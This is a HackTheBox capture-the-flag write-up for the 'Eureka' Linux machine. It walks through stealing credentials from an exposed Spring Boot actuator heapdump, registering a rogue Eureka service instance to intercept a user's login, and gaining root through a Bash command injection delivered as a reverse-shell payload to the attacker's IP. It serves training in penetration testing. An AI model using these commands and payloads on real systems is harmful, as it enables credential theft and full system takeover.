Eureka – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Hard
  • Platform: HackTheBox

Avatar eureka


Summary Link to heading

“Eureka” is a Hard machine from HackTheBox platform. The victim machine is running a website on Spring Boot. This service has actuator endpoint exposed, where we are able to find a heapdump file that contain credentials for a user (that work for SSH service) and another web services, that ended up to be Netflix Eureka service. We then are able to add our attacker machine to load balanced thanks to Eureka service. This means that when requests are made to the victim machine it will “relay” requests to our attacker machine; eventually obtaining the password of a second user. Once inside the victim machine, it is running a script that is vulnerable to Command Injection in a Bash script. As the second obtained user, we are able to poison a log file that injects a command as root, compromising the system.


User Link to heading

We start with an Nmap scan looking for open TCP ports. We only find 3 ports open: 22 SSH, 80 and 8761 HTTP:

❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.66

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:06 -04
Happy 28th Birthday to Nmap, may it live to be 128!
Initiating SYN Stealth Scan at 01:06
Scanning 10.10.11.66 [65535 ports]
Discovered open port 22/tcp on 10.10.11.66
Discovered open port 80/tcp on 10.10.11.66
Discovered open port 8761/tcp on 10.10.11.66
Completed SYN Stealth Scan at 01:07, 16.57s elapsed (65535 total ports)
Nmap scan report for 10.10.11.66
Host is up, received user-set (0.22s latency).
Scanned at 2025-09-01 01:06:56 -04 for 17s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
8761/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds
           Raw packets sent: 80816 (3.556MB) | Rcvd: 79875 (3.195MB)

Applying some recognition scans over these ports with Nmap using -sVC flag we get:

❯ sudo nmap -sVC -p22,80,8761 10.10.11.66

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:08 -04
Nmap scan report for 10.10.11.66
Host is up (0.29s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open  http    Apache Tomcat (language: en)
| http-auth:
| HTTP/1.1 401 \x0D
|_  Basic realm=Realm
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds

Scanning port 80 HTTP redirects to http://furni.htb domain.

Therefore, add furni.htb domain along with the target IP address to our /etc/hosts file:

❯ echo '10.10.11.66 furni.htb' | sudo tee -a /etc/hosts

Once done, use WhatWeb to check technologies being used by the web server; we do this for port 80 and 8761:

❯ whatweb -a 3 http://furni.htb

http://furni.htb [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.66], Meta-Author[Untree.co], Script, Title[Furni | Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0]

❯ whatweb -a 3 http://furni.htb:8761

http://furni.htb:8761 [401 Unauthorized] Cookies[JSESSIONID], Country[RESERVED][ZZ], HttpOnly[JSESSIONID], IP[10.10.11.66], Java, UncommonHeaders[x-content-type-options], WWW-Authenticate[Realm][Basic], X-Frame-Options[DENY], X-XSS-Protection[0]

Site on port 80 is running on Nginx, whereas site running on port 8761 is apparently using Java to run the web server.

Visiting http://furni.htb in a web browser shows a website about forniture:

Eureka 1

If we visit the site on port 8761 it just shows an HTTP login panel:

Eureka 2

But default credentials do not work here.

To see if it is running on a Content Management System we can intentionally search for a non-existent page and check its response. For example, if we search for http://furni.htb/anything we get the response:

Eureka 3

Checking then 0xdf’s blog for 404 pages we find it is the error page for Spring Boot:

Info
Spring Boot is a Java web framework for creating Spring based web applications. Spring is a lightweight framework that offers an elaborate environment for robust programming and configuration model for Java-based applications. Spring Boot is a Java-based framework that is best for creating stand-alone, Spring-based applications in a short period.

We can then attempt a simple Brute Force Directory Listing with Gobuster. First of all, search if there are specific wordlists for Spring Boot at SecLists:

❯ find /usr/share/seclists -name "*Spring*" 2>/dev/null

/usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt

There is one.

Use that wordlist to search for directories:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -u http://furni.htb -t 40

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://furni.htb
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/actuator             (Status: 200) [Size: 2129]
/actuator/caches      (Status: 200) [Size: 20]
/actuator/features    (Status: 200) [Size: 467]
/actuator/env/lang    (Status: 200) [Size: 668]
/actuator/env/home    (Status: 200) [Size: 668]
/actuator/info        (Status: 200) [Size: 2]
/actuator/env/path    (Status: 200) [Size: 668]
/actuator/refresh     (Status: 405) [Size: 114]
/actuator/health      (Status: 200) [Size: 15]
/actuator/env         (Status: 200) [Size: 6307]
/actuator/metrics     (Status: 200) [Size: 3319]
/actuator/sessions    (Status: 400) [Size: 108]
/actuator/scheduledtasks (Status: 200) [Size: 54]
/actuator/configprops (Status: 200) [Size: 37195]
/actuator/mappings    (Status: 200) [Size: 35560]
/actuator/loggers     (Status: 200) [Size: 98345]
/actuator/conditions  (Status: 200) [Size: 184221]
/actuator/beans       (Status: 200) [Size: 202253]
/actuator/threaddump  (Status: 200) [Size: 232775]
Progress: 120 / 121 (99.17%)[ERROR] context deadline exceeded (Client.Timeout or context cancellation while reading body)
Progress: 120 / 121 (99.17%)
===============================================================
Finished
===============================================================

It seems that /actuator directory is exposed.

Based on this blog, Actuator is something similar to an endpoint used for debugging.

This other blog shows why if the directory /actuator is exposed at Spring Boot it could be dangerous. There, they talk about a /heapdump endpoint as is mentioned here. Now, if we search for this file in the webserver using the suggested command with cURL the file is there:

❯ curl 'http://furni.htb/actuator/heapdump' -O

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 76.4M  100 76.4M    0     0  1964k      0  0:00:39  0:00:39 --:--:-- 2986k

It happens this file is 76.4M.

Why didn’t Gobuster show it then? Because this file is so big, it takes more than 10 seconds (the default value for Gobuster) to get that page and that’s why it is not directly reported. Apparently this has been “patched” for Gobuster version 3.8.1 and later. “Patched” in the sense it now prints the error indicating the timeout.

As the blog suggests, we could try to find credentials in this heapdump file. For this purpose we can use strings along with grep:

❯ strings heapdump | grep -i 'password='

proxyPassword='
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
update users set email=?,first_name=?,last_name=?,password=? where id=?!

We have what seems to be a password 0sc@r190_S0l!dP@sswd and a user oscar190.

We can also use JDumpSpider (that can be downloaded from its Github repository) to search for credentials:

❯ wget https://github.com/whwlsfb/JDumpSpider/releases/download/dev-20250409T071858/JDumpSpider-1.1-SNAPSHOT-full.jar -q

and use this tool passing as argument the downloaded heapdump file:

❯ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190

===========================================
<SNIP>
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none

===========================================
<SNIP>

This tool not only finds the credentials for oscar, it apparently also does for the site running on port 8761 as can be seen at:

http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

We get a new pair of credentials: EurekaSrvr:0scarPWDisTheB3st.

If we put that credentials into http://furni.htb:8761 we can login and we are inside:

Eureka 4

We can also check if credentials found for oscar190 user are valid for SSH with NetExec:

❯ nxc ssh 10.10.11.66 -u 'oscar190' -p '0sc@r190_S0l!dP@sswd'

SSH         10.10.11.66     22     10.10.11.66      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.66     22     10.10.11.66      [+] oscar190:0sc@r190_S0l!dP@sswd  Linux - Shell access!

They worked.

Therefore, access to the victim machine using these credentials:

❯ sshpass -p '0sc@r190_S0l!dP@sswd' ssh -o stricthostkeychecking=no oscar190@10.10.11.66

<SNIP>
Last login: Mon Sep 1 06:18:22 2025 from 10.10.16.10
oscar190@eureka:~$

user.txt flag is not here, so we must pivot to another user.

Looking for users in this machine we can see another one called miranda-wise:

oscar190@eureka:~$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash

At /opt there are some files. More specifically, there is a log_analyse-sh file:

oscar190@eureka:~$ ls -la /opt

total 24
drwxr-xr-x  4 root root     4096 Mar 20 14:17 .
drwxr-xr-x 19 root root     4096 Apr 22 12:47 ..
drwxrwx---  2 root www-data 4096 Aug  7  2024 heapdump
-rwxrwxr-x  1 root root     4980 Mar 20 14:17 log_analyse.sh
drwxr-x---  2 root root     4096 Apr  9 18:34 scripts

It is a big Bash script. A function that seems interesting is:

analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

It is checking the code status at Status: <status code> line.

More specifically, the line:

if ` "$existing_code" -eq "$code" `; then

Is interesting. Since if we can manipulate the variable $code, we could reach a Command Injection.

This blog explains why using -eq can be critically vulnerable when we can manipulate one of the variables being compared. As an example, they provide the simple Bash code:

#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if ` "$NUM" -eq 100 `;then
  echo "OK"
else
  echo "NG"
fi

and reach Command Injection in a web server thanks to -eq:

$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG

Now, we can check if we have any cronjobs or tasks running using pspy. First, download a binary from its Github repository and pass it to the victim machine using scp and oscar190 credentials:

❯ sshpass -p '0sc@r190_S0l!dP@sswd' scp pspy64 oscar190@10.10.11.66:/tmp/pspy

Assign execution permissions to the binary, execute it and wait:

oscar190@eureka:~$ chmod +x /tmp/pspy

oscar190@eureka:~$ /tmp/pspy

<SNIP>
2025/09/01 06:38:49 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity
2025/09/01 06:39:01 CMD: UID=0     PID=133690 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0     PID=133691 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0     PID=133693 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133694 | curl -s -i http://localhost:8081/login
2025/09/01 06:39:01 CMD: UID=0     PID=133698 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133696 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133701 | grep -oP (?<=Set-Cookie: SESSION=)[^;]+
2025/09/01 06:39:01 CMD: UID=0     PID=133700 | ???
2025/09/01 06:39:01 CMD: UID=0     PID=133699 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133702 | mktemp
2025/09/01 06:39:01 CMD: UID=0     PID=133703 | cat
2025/09/01 06:39:01 CMD: UID=0     PID=133704 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0     PID=133707 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0     PID=133710 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0     PID=133713 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0     PID=133716 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133719 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0     PID=133722 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133724 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0     PID=133723 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0     PID=133726 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0     PID=133725 |
2025/09/01 06:40:01 CMD: UID=0     PID=133727 | /bin/sh -c /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133728 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133731 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133730 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133729 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133734 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0     PID=133733 | grep LoginSuccessLogger /var/www/web/cloud-gateway/log/application.log
2025/09/01 06:40:01 CMD: UID=0     PID=133732 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
<SNIP>

The script /opt/log_analyse.sh is using the file application.log.

We can check if we have read permissions over this file:

oscar190@eureka:~$ id
uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)

oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/application.log
-rw-rw-r-- 1 www-data www-data 21433 Sep  1 06:46 /var/www/web/cloud-gateway/log/application.log

We don’t. Only www-data has permissions over this file.

If we check permissions of /var/www/web/cloud-gateway/log/ directory:

oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/

total 48
drwxrwxr-x 2 www-data developers  4096 Sep  1 05:05 .
drwxrwxr-x 6 www-data developers  4096 Mar 18 21:17 ..
-rw-rw-r-- 1 www-data www-data   22339 Sep  1 06:47 application.log
-rw-rw-r-- 1 www-data www-data    5702 Apr 23 07:37 application.log.2025-04-22.0.gz
-rw-rw-r-- 1 www-data www-data    5956 Sep  1 05:05 application.log.2025-04-23.0.gz

We can see that developers group also can write in this directory.

But only miranda-wise user is a member of this group:

oscar190@eureka:~$ getent group developers

developers:x:1003:miranda-wise

So we must find a way to pivot to this user.

Now is when the Eureka services comes in. If we search for netflix eureka (as Netflix uses this service) we get:

Info
Netflix Eureka is a service registry and discovery tool designed for cloud-based microservice architectures, allowing individual services to register themselves and dynamically discover other services without manual configuration. It consists of a Eureka Server, which acts as a central registry, and Eureka Clients, which are the microservices that register and query the server to find other services. Eureka is particularly useful in dynamic environments where service instances may change locations or scale up and down, facilitating dynamic load balancing and communication between services.

This another blog also relates Eureka to Spring Boot. Basically, we can add our IP address to the dynamic load balancer. If a user makes a request, we could then make this request point to our attacker machine. This another blog explains how to add ourselves. If we go back to the site we logged in at port 8761 we can see 3 instances registered at Eureka:

Eureka 5

We have an app-geteway instance on port 8080, Furni app (probably the website) on port 8082 and User-Management-Service on port 8081.

Following the blog and also the REST API for Eureka we can add a payload (malicious instance) with cURL:

❯ curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE  -H 'Content-Type: application/json' -d '{
  "instance": {
    "instanceId": "gunzf0x",
    "hostName": "10.10.16.10",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "10.10.16.10",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "status": "UP",
    "port": {
      "$": 8081,
      "@enabled": "true"
    },
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    }
  }
}'

Where 10.10.16.10 is our attacker IP address, naming the evil instance as gunzf0x.

If we check the original webpage (refresh the page), our added instance is there:

Eureka 6

As we have set port 8081 as instance, start a netcat listener on that port or a Python HTTP temporal server. After some time we get an HTTP request:

❯ nc -lvnp 8081

listening on [any] 8081 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 60372
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=OWMwNWNjYjMtZDY3Ni00ZTMyLWE2MjQtZjRmN2I2NmQ4NGMx
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:55214"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.16.10:8081

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=tVeYamwuq0Ip_wtToyfLpdJLSrx1CAW7fOVu_91KEt7y62plgWP5DF5KmScEmm9hwgr_xOB8Z90Ubj2WSYFXmrlyK-3C2FlS

If we url-decode the obtained password parameter, we get: IL!veT0Be&BeT0L0ve.

Check if this password works for miranda-wise user with NetExec for SSH service:

❯ nxc ssh 10.10.11.66 -u 'miranda-wise' -p 'IL!veT0Be&BeT0L0ve'

SSH         10.10.11.66     22     10.10.11.66      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.66     22     10.10.11.66      [+] miranda-wise:IL!veT0Be&BeT0L0ve  Linux - Shell access!

They worked.

Log in as miranda-wise user throughout SSH (or pivot internally from oscar190 session):

❯ sshpass -p 'IL!veT0Be&BeT0L0ve' ssh -o stricthostkeychecking=no miranda-wise@10.10.11.66

<SNIP>
Last login: Mon Sep 1 07:29:16 2025 from 10.10.16.10
miranda-wise@eureka:~$

We can grab the user flag.


Root Link to heading

Now that we are miranda-wise user, we are part of developers group:

miranda-wise@eureka:~$ id

uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)

and as we have seen, developers group can write files at /var/www/web/cloud-gateway/log/ directory.

We can then abuse the Command Injection at log_analyser.sh. As pspy has shown, user with PID=0 is running this task, i.e., root. As we have seen, we don’t have direct permissions over application.log directory. But we do have permissions over the directory that contains that file as we are members of developers group. This means we cannot directly modify that fiule, but we do can remove it or rename it:

Remembering, the vulnerable function was:

analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

We need to write the payload at the right of Status: string. But also at the end of it it is expecting the word HTTP Status. Therefore, the payload might have the form:

HTTP Status: <payload>

Start a listener with netcat on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

We can write the new application.log file and inject the payload to get a reverse shell:

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo 'HTTP Status: x[$(/bin/bash -i >& /dev/tcp/10.10.16.10/443 0>&1)]' > application.log

After some seconds, we get a shell as root user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 40226
bash: cannot set terminal process group (222139): Inappropriate ioctl for device
bash: no job control in this shell
root@eureka:~# whoami

whoami
root

GG. We can grab the root flag at /root directory.

~Happy Hacking.